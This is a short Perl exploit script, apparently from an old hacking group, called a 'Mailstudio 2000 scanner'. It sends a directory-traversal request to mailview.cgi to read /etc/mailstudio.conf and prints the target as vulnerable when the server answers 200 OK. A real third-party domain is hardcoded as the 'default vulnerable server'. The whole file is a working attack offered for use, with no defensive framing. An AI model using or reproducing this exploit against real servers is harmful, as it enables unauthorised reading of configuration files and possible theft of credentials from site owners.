<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">#!/usr/bin/perl
# Mailstudio 2000 scanner by Zucco (zucco@netposta.net)
# Read the mailstudio config file.
# Other tricks: www.s0ftpj.org/docs/spj-004-000.txt 
# Thx: #hax on IRCnet, WHC, Crewlez, #r00tabega on Efnet, Diablo
$host = 'www.bsa.hu'; # default vulnerable server :)
$file = 'mailview.cgi?cmd=view&amp;fldrname=inbox&amp;select=1&amp;html=../../../../../../etc/mailstudio.conf';

use IO::Socket;

$konn = IO::Socket::INET-&gt;new(Proto     =&gt; "tcp",
                              PeerAddr  =&gt; "$host",
                              PeerPort  =&gt; 80) ||
                die "Can't connect!";


print $konn "GET $file HTTP/1.0\n\n";

while(&lt;$konn&gt;) {
    chomp($f = $_);
    if ($f =~ /^HTTP\/1\.1\s200\sOK/i) {
      print "\t$host is vulnerable\n";
      print "\tRead the file: lynx $host/$file\n";
    }
}</pre></body></html>